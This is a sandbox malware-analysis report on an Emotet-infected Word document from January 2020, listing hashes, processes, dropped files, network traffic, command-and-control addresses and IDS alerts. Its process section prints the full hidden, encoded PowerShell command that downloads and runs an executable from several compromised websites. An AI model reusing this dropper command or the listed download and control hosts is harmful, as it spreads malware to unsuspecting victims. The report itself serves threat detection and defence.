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File name:

請求書送付のお願い 27573069 2020_01_18.doc

Full analysis: https://app.any.run/tasks/cf3c1aba-38a7-46f7-8009-78c2e1d66ea7
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: January 18, 2020, 04:08:00
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
emotet-doc
emotet
generated-doc
loader
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Dignissimos., Author: La Leclercq, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jan 17 22:29:00 2020, Last Saved Time/Date: Fri Jan 17 22:29:00 2020, Number of Pages: 2, Number of Words: 5, Number of Characters: 29, Security: 0
MD5:

DAC1A3437A9B17E1D99E6459F42C2947

SHA1:

AC22113A1C2F64870104F915BE4C1E858F4F893C

SHA256:

D69E45CA6DEA98A91627841F8D64E53E79AABF28C904354BE5DFBDECE25453FB

SSDEEP:

6144:W0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+jeOaGD94wB:W0E3dxtR/iU9mvUPW84wB

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 296.exe (PID: 2996)
      • 296.exe (PID: 2184)
      • serialfunc.exe (PID: 2776)
      • serialfunc.exe (PID: 3128)
      • serialfunc.exe (PID: 2884)
    • Downloads executable files from the Internet

      • Powershell.exe (PID: 584)
    • Emotet process was detected

      • 296.exe (PID: 2184)
    • Changes the autorun value in the registry

      • serialfunc.exe (PID: 2776)
    • Connects to CnC server

      • serialfunc.exe (PID: 2776)
    • EMOTET was detected

      • serialfunc.exe (PID: 2776)
  • SUSPICIOUS

    • Creates files in the user directory

      • Powershell.exe (PID: 584)
    • Executed via WMI

      • Powershell.exe (PID: 584)
    • PowerShell script executed

      • Powershell.exe (PID: 584)
    • Executable content was dropped or overwritten

      • Powershell.exe (PID: 584)
      • 296.exe (PID: 2184)
    • Starts itself from another location

      • 296.exe (PID: 2184)
    • Application launched itself

      • serialfunc.exe (PID: 2776)
    • Connects to server without host name

      • serialfunc.exe (PID: 2776)
    • Connects to SMTP port

      • serialfunc.exe (PID: 2776)
    • Connects to unusual port

      • serialfunc.exe (PID: 2776)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 504)
      • serialfunc.exe (PID: 3128)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 504)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (80)

EXIF

FlashPix

Title: Dignissimos.
Subject: -
Author: Léa Leclercq
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2020:01:17 22:29:00
ModifyDate: 2020:01:17 22:29:00
Pages: 2
Words: 5
Characters: 29
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 33
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 25
CompObjUserType: Microsoft Forms 2.0 Form
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
7
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 296.exe no specs #EMOTET 296.exe serialfunc.exe no specs #EMOTET serialfunc.exe serialfunc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
504"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\請求書送付のお願い 27573069 2020_01_18.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
584Powershell -w hidden -en JABTAG8AbgBsAGYAbQB4AGYAZwBsAGcAPQAnAFgAeQB5AHMAbgBrAGkAdQB5AHgAbwAnADsAJABFAGMAegBhAGQAeAB2AGUAYwAgAD0AIAAnADIAOQA2ACcAOwAkAFoAegByAHIAegBlAGIAeQBzAGUAPQAnAFYAcAB5AGIAeAB4AHAAbQBkAGUAeQBkAHEAJwA7ACQATQB3AGIAZwBvAHIAaAByAHkAZgBoAG4AZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARQBjAHoAYQBkAHgAdgBlAGMAKwAnAC4AZQB4AGUAJwA7ACQAUwB1AHIAegBkAHgAZAB5AGcAcAB0AGgAPQAnAFkAZgB1AGYAbgBwAHMAdwB4AHoAJwA7ACQATAB2AGIAbwBqAG8AbAB4AHYAeABtAD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABOAEUAdAAuAHcARQBiAGMAbABJAGUATgBUADsAJABGAHYAbwB2AGEAZABzAGgAaAB0AGIAbwA9ACcAaAB0AHQAcAA6AC8ALwBhAGQAeQBrAHUAcgBuAGkAYQB3AGEAbgAuAGMAbwBtAC8AbQBwADMALwAxADgAbwB4ADYAaAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAcABoAGEAbQB0AGgAYQBuAGgAYgBpAG4AaAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBxAEQAcQAvACoAaAB0AHQAcAA6AC8ALwBzAGYAbQBhAGMALgBiAGkAegAvAGMAYQBsAGUAbgBkAGEAcgAvAEsAMQBhAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbQBqAG0AZQBjAGgAYQBuAGkAYwBhAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGQAZAB5AC8AKgBoAHQAdABwADoALwAvAG0AbwBqAGUAaABhAGYAdABvAG0ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADEAMwA3ADQAeAB2AC8AJwAuACIAcwBgAHAATABpAHQAIgAoACcAKgAnACkAOwAkAFYAZwB1AGIAbgBiAGgAbABpAGUAYgBlAD0AJwBTAHIAcwBtAGQAcQBpAGEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFEAdABzAHcAegBnAGYAcwBrAGkAagAgAGkAbgAgACQARgB2AG8AdgBhAGQAcwBoAGgAdABiAG8AKQB7AHQAcgB5AHsAJABMAHYAYgBvAGoAbwBsAHgAdgB4AG0ALgAiAEQAYABvAHcAbgBsAGAAbwBhAGAAZABmAEkATABFACIAKAAkAFEAdABzAHcAegBnAGYAcwBrAGkAagAsACAAJABNAHcAYgBnAG8AcgBoAHIAeQBmAGgAbgBlACkAOwAkAEQAeQBjAGMAYQB3AHcAcgBqAG0AYgB3AGUAPQAnAFMAegB2AGQAdQBlAHAAdwAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAE0AdwBiAGcAbwByAGgAcgB5AGYAaABuAGUAKQAuACIAbABlAGAATgBnAHQASAAiACAALQBnAGUAIAAyADkAMQA3ADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AGAAQQByAHQAIgAoACQATQB3AGIAZwBvAHIAaAByAHkAZgBoAG4AZQApADsAJABEAGwAdwB6AGoAdgBiAHYAPQAnAFkAZgBsAG0AaABqAHYAdwBhAHYAbQAnADsAYgByAGUAYQBrADsAJABMAHEAbQB4AGoAdQBuAGMAcgBmAD0AJwBMAHYAagBjAGcAdgBpAGgAbAB1AHUAawAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABWAHUAegBsAGIAbwBxAGEAawBqAHcAPQAnAEIAagBuAGgAegBtAHQAdgBuAGwAdQB0ACcAC:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2996"C:\Users\admin\296.exe" C:\Users\admin\296.exePowershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
Modules
Images
c:\users\admin\296.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\quartz.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
2184--b4d971edC:\Users\admin\296.exe
296.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
Modules
Images
c:\users\admin\296.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\quartz.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
2884"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe296.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
Modules
Images
c:\users\admin\appdata\local\serialfunc\serialfunc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\quartz.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
2776--d6864438C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe
serialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Version:
1, 0, 0, 76
Modules
Images
c:\users\admin\appdata\local\serialfunc\serialfunc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\quartz.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
3128"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" "C:\Users\admin\AppData\Local\Temp\3F60.tmp"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exeserialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Application MFC DShowEncoder
Exit code:
0
Version:
1, 0, 0, 76
Modules
Images
c:\users\admin\appdata\local\serialfunc\serialfunc.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\shell32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
Total events
2 322
Read events
1 479
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
6

Dropped files

PID
Process
Filename
Type
504WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRAA63.tmp.cvr
MD5:
SHA256:
504WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF34B8FB4BB3A375B1.TMP
MD5:
SHA256:
584Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VYZ0Y05ON0HSSJJ58ZD5.temp
MD5:
SHA256:
584Powershell.exeC:\Users\admin\296.exe
MD5:
SHA256:
3128serialfunc.exeC:\Users\admin\Documents\Outlook Files\~Outlook Data File - NoMail.pst.tmp
MD5:
SHA256:
3128serialfunc.exeC:\Users\admin\Documents\Outlook Files\~Outlook.pst.tmp
MD5:
SHA256:
3128serialfunc.exeC:\Users\admin\Documents\Outlook Files\[email protected]
MD5:
SHA256:
584Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39b550.TMPbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
584Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:35375F3D71AE42AA9777154D256B33BF
SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF
504WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:8B378DCC62035BBABEF8B1C2A131A338
SHA256:7C1F83E56B3CF1632E1D1DDD8BFD13219F8133599041726FA2EA3FB98B22B275
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
126
DNS requests
147
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
584
Powershell.exe
GET
200
35.237.206.52:80
http://myphamthanhbinh.net/wp-content/uploads/qDq/
US
executable
344 Kb
suspicious
2776
serialfunc.exe
POST
200
100.6.23.40:80
http://100.6.23.40/MB2IRzK4KQO
US
binary
1.54 Mb
malicious
2776
serialfunc.exe
POST
200
100.6.23.40:80
http://100.6.23.40/O3jx
US
binary
148 b
malicious
2776
serialfunc.exe
POST
200
91.236.4.234:443
http://91.236.4.234:443/ch5tyUKUV3ZcZ
PL
binary
3.59 Mb
malicious
584
Powershell.exe
GET
302
45.64.1.202:80
http://adykurniawan.com/mp3/18ox6h/
ID
html
233 b
malicious
2776
serialfunc.exe
POST
200
91.236.4.234:443
http://91.236.4.234:443/JuVjfJq0
PL
binary
3.49 Kb
malicious
584
Powershell.exe
GET
200
45.64.1.202:80
http://adykurniawan.com/cgi-sys/suspendedpage.cgi
ID
html
7.41 Kb
malicious
2776
serialfunc.exe
POST
200
91.236.4.234:443
http://91.236.4.234:443/O3jx
PL
binary
148 b
malicious
2776
serialfunc.exe
POST
200
91.236.4.234:443
http://91.236.4.234:443/O3jx
PL
binary
148 b
malicious
2776
serialfunc.exe
POST
200
91.236.4.234:443
http://91.236.4.234:443/bZ5Z
PL
binary
6.16 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2776
serialfunc.exe
100.6.23.40:80
MCI Communications Services, Inc. d/b/a Verizon Business
US
malicious
584
Powershell.exe
45.64.1.202:80
adykurniawan.com
PT Master Web Network
ID
malicious
2776
serialfunc.exe
66.96.147.100:587
smtp.ipage.com
The Endurance International Group, Inc.
US
unknown
2776
serialfunc.exe
153.138.213.135:25
pop.ocn.ne.jp
NTT Communications Corporation
JP
unknown
2776
serialfunc.exe
35.209.186.143:465
mail.sumberwaja.com
US
unknown
584
Powershell.exe
35.237.206.52:80
myphamthanhbinh.net
US
suspicious
2776
serialfunc.exe
114.147.58.70:25
mail.ocn.ne.jp
NTT Communications Corporation
JP
unknown
2776
serialfunc.exe
162.241.245.88:26
mail.mileniumsupply.com
CyrusOne LLC
US
unknown
2776
serialfunc.exe
173.201.193.101:3535
smtpout.secureserver.net
GoDaddy.com, LLC
US
unknown
2776
serialfunc.exe
66.147.244.77:465
box777.bluehost.com
Unified Layer
US
suspicious

DNS requests

Domain
IP
Reputation
adykurniawan.com
  • 45.64.1.202
unknown
myphamthanhbinh.net
  • 35.237.206.52
suspicious
mail.sumberwaja.com
  • 35.209.186.143
unknown
mail.outlook.com
unknown
mail.eonet.ne.jp
unknown
mail.ocn.ne.jp
  • 114.147.58.70
  • 118.23.185.144
  • 118.23.178.134
  • 118.23.178.207
  • 118.23.109.27
  • 114.147.58.6
unknown
mail.mileniumsupply.com
  • 162.241.245.88
unknown
smtp.ipage.com
  • 66.96.147.100
shared
smtpout.secureserver.net
  • 173.201.193.101
  • 68.178.252.101
  • 173.201.192.229
  • 173.201.193.228
  • 173.201.192.101
  • 68.178.252.229
whitelisted
pop.ocn.ne.jp
  • 153.138.213.135
  • 153.138.213.150
  • 153.138.213.151
  • 153.138.216.150
  • 153.138.216.151
  • 153.138.219.38
  • 153.138.219.39
  • 153.138.213.134
unknown

Threats

PID
Process
Class
Message
584
Powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
584
Powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
584
Powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
2776
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
2776
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
2776
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
2776
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
2776
serialfunc.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
2776
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
2776
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
No debug info